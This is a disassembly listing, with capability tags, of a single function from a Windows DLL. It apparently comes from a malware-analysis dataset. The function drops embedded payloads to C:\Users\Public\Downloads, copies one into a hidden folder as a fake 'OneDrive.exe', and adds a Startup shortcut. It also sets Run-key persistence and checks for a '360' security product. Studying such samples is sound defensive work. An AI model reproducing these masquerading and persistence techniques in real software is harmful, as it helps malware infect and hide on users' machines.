Function at 0x180007890
Capabilities:
Check if file exists
Copy file
Create directory
Create shortcut via ishelllink
Get common file path
Get file attributes
Persist via run registry key
Set file attributes
Set registry value
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x6e0]
sub rsp, 0x7e0
xor r15d, r15d
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 7
mov word [rbp + 0x40], r15w
lea r8d, [r15 + 0x45]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
lea rcx, [rbp + 0x40]
call fcn.180002580
nop
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r15w
lea r8d, [r15 + 7]
lea rdx, str.Startup
lea rcx, [rbp + 0x20]
call fcn.180002580
nop
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 7
mov word [rbp], r15w
lea r8d, [r15 + 0x2d]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp]
call fcn.180002580
nop
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r15w
lea r8d, [r15 + 0xa]
lea rdx, [0x180049fc0]
lea rcx, [rbp - 0x20]
call fcn.180002580
nop
movups xmm0, xmmword [0x18003aa10]
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0x718], r15
lea r9, [rbp + 0x718]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xa0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov r8, qword [rbp + 0x718]
lea rdx, str._sOneDrive
lea rcx, [rbp + 0x2c0]
call fcn.18000d640
xor edx, edx
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rbp + 0x2c0]
lea rdx, str._scache
lea rcx, [rbp + 0x4d0]
call fcn.18000d640
xor edx, edx
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [rbp + 0x4d0]
lea rdx, str._sRun
lea rcx, [rbp + 0xb0]
call fcn.18000d640
xor edx, edx
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007a23
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007a47
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r15w
lea rax, [rbp + 0x4d0]
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180007a70
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x60]
call fcn.180002580
nop
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.18000d4f0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x180007ae2
lea rsi, [rcx + 0xc]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x180007ac5
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x18
lea rdx, str.OneDrive.exe
call fcn.180014b40
mov word [rdi + rsi*2], r15w
jmp 0x180007b02
mov qword [rsp + 0x20], 0xc
lea r9, str.OneDrive.exe
mov edx, 0xc
mov rcx, rbx
call fcn.18000f0a0
mov rbx, rax
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180007b74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085b9
call fcn.180012b28
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.18000d4f0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1d
jb 0x180007be0
lea rsi, [rcx + 0x1d]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x180007bc3
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x3a
lea rdx, [0x18004a008]
call fcn.180014b40
mov word [rdi + rsi*2], r15w
jmp 0x180007c00
mov qword [rsp + 0x20], 0x1d
lea r9, [0x18004a008]
mov edx, 0x1d
mov rcx, rbx
call fcn.18000f0a0
mov rbx, rax
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x180007c71
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007c6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085bf
call fcn.180012b28
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], 7
mov word [rbp + 0x80], r15w
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov r8d, 0x25
lea rdx, str.C:UsersPublicDownloadsQQgames.exe
lea rcx, [rbp - 0x40]
call fcn.180002580
nop
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rsi, qword [rbp - 0x40]
lea rdi, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdi, qword [rsp + 0x60]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, str.C:UsersPublicDownloadsQQgames.exe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x710]
mov r8d, 0x18638
lea rdx, [0x18008a850]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [0x18004a0a0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x710]
mov r8d, 0x26788
lea rdx, str.AP32
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
lea rax, [rbp + 0xb0]
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180007dc0
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.180002580
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.18000d4f0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xe
jb 0x180007e36
lea rsi, [rcx + 0xe]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x180007e19
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x1c
lea rdx, [0x180049de0]
call fcn.180014b40
mov word [rdi + rsi*2], r15w
jmp 0x180007e56
mov qword [rsp + 0x20], 0xe
lea r9, [0x180049de0]
mov edx, 0xe
mov rcx, rbx
call fcn.18000f0a0
mov rbx, rax
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x180007ec8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007ec2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085c5
call fcn.180012b28
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x180007f0a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007f05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085cb
call fcn.180012b28
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
lea r9, [0x18003aa00]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x18003aa30]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x180007fb6
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
mov rcx, qword [rbp + 0x710]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0x710]
mov rax, qword [rcx]
lea r8, [rbp + 0x720]
lea rdx, [0x18003aa20]
call qword [rax]
test eax, eax
js 0x180007fa9
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x720]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rbp + 0x720]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x710]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rbx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rbx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007fe9
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rbp - 0x80]
lea rcx, str.C:UsersPublicDownloads1.dll
call fcn.1800072b0
lea rbx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rbx, qword [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180008023
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, str.C:Program_Files__x86_360_
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000818c
test al, 0x10
je 0x18000818c
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
lea rax, [rbp + 0xb0]
inc r14
cmp word [rax + r14*2], 0
jne 0x180008061
mov r8, r14
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.180002580
nop
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 8
cmovae rdx, qword [rbp + 0x40]
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x1800080c0
lea rdx, str.Failed_to_open_registry_key._Error_code:
jmp 0x180008123
mov eax, dword [rsp + 0x50]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 8
cmovae rdx, qword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
xor r8d, r8d
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x180008142
lea rdx, str.Failed_to_set_registry_value._Error_code:
lea rcx, [0x1803c2b10]
call fcn.18000d6a0
mov edx, ebx
mov rcx, rax
call fcn.180009b40
mov rcx, rax
call fcn.18000d920
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1800082dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800082d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085b3
jmp 0x1800082d7
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r15w
nop word [rax + rax]
inc r14
cmp word [rdx + r14*2], 0
jne 0x1800081c0
mov r8, r14
lea rcx, [rsp + 0x40]
call fcn.180002580
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 8
cmovae rdx, qword [rbp]
lea rax, [rbp + 0x710]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x180008218
lea rdx, str.Failed_to_open_registry_key._Error_code:
jmp 0x18000827b
mov eax, dword [rsp + 0x50]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 8
cmovae rdx, qword [rbp - 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x18000829a
lea rdx, str.Failed_to_set_registry_value._Error_code:
lea rcx, [0x1803c2b10]
call fcn.18000d6a0
mov edx, ebx
mov rcx, rax
call fcn.180009b40
mov rcx, rax
call fcn.18000d920
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1800082dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800082d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085d1
call fcn.180012b28
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18000831d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008318
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085d7
call fcn.180012b28
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18000836e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008369
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085dd
call fcn.180012b28
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x1800083bf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800083ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085e3
call fcn.180012b28
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x180008412
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000840d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085e9
call fcn.180012b28
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r15w
mov rdx, qword [rbp + 0x78]
cmp rdx, 8
jb 0x180008467
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008461
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085ef
call fcn.180012b28
nop
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x1800084a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800084a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085f5
call fcn.180012b28
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r15w
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x1800084f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800084f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085fb
call fcn.180012b28
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 7
mov word [rbp], r15w
mov rdx, qword [rbp + 0x38]
cmp rdx, 8
jb 0x180008549
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008544
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008601
call fcn.180012b28
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r15w
mov rdx, qword [rbp + 0x58]
cmp rdx, 8
jb 0x180008596
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008591
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800085ad
call fcn.180012b28
mov rbx, qword [rsp + 0x828]
add rsp, 0x7e0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
int3
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
nop
call fcn.180019ca4
int3